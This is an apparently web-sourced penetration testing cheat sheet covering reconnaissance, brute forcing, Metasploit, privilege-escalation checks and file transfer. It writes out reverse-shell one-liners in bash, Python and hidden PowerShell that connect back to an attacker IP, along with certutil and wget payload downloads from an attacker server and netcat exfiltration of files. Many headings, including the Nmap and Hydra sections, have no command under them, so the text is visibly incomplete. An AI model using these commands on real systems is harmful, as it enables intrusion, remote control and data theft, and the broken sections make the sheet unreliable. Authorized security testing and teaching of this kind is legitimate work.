Penetration Testing Toolkit Cheat Sheet¶
A quick reference for everyday penetration testing tools and frameworks.
Network Reconnaissance (Nmap)¶
Quick Scan:
Service/OS Detection:
Aggressive (All-in-one):
TCP Connect Scan:
UDP Scan:
Scan for Vulnerabilities:
Fast Scan (Top 100):
Web Enumeration & Brute Force¶
Directory Brute Force — Gobuster:
Directory Brute Force — FFUF:
Subdomain Discovery — Sublist3r:
HTTP Verbose Headers — Curl:
SSH Brute Force — Hydra:
Web Login Brute Force — Hydra:
Reverse Shells (The "One-Liners")¶
- Netcat Listener (Attacker):
nc -lvnp [Port] - Bash Reverse Shell:
bash -i >& /dev/tcp/[Attacker_IP]/[Port] 0>&1 - Python Reverse Shell:
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IP]",[Port]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' - PowerShell Reverse Shell:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IP]",[Port]); ...
Post-Exploitation & Privilege Escalation¶
Check Current User — whoami / id:
Check Kernel/OS — uname -a:
List SUID Files — find / -perm -u=s -type f 2>/dev/null:
Check Scheduled Tasks — cat /etc/crontab:
List Local Users — cat /etc/passwd:
Network Connections — ss -tunlp:
Metasploit Framework (msfconsole)¶
- Search for Exploit:
search [name/cve] - Use Exploit:
use exploit/[path] - Show Options:
show options - Set Target/Payload:
set RHOSTS [Target_IP]/set PAYLOAD [payload] - Run Exploit:
exploitorrun - Background Session:
backgroundor Ctrl+Z
File Transfer (Exfiltration)¶
- Python Web Server (Attacker):
python3 -m http.server 80 - Linux Download (Target):
wget http://[Attacker_IP]/toolorcurl -O ... - Windows Download (Target):
certutil -urlcache -f http://[IP]/tool.exe tool.exe - Netcat File Transfer:
- Receiver:
nc -l -p 1234 > file.txt - Sender:
nc [IP] 1234 < file.txt
⚠️ Ethical Disclaimer This cheat sheet is for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal.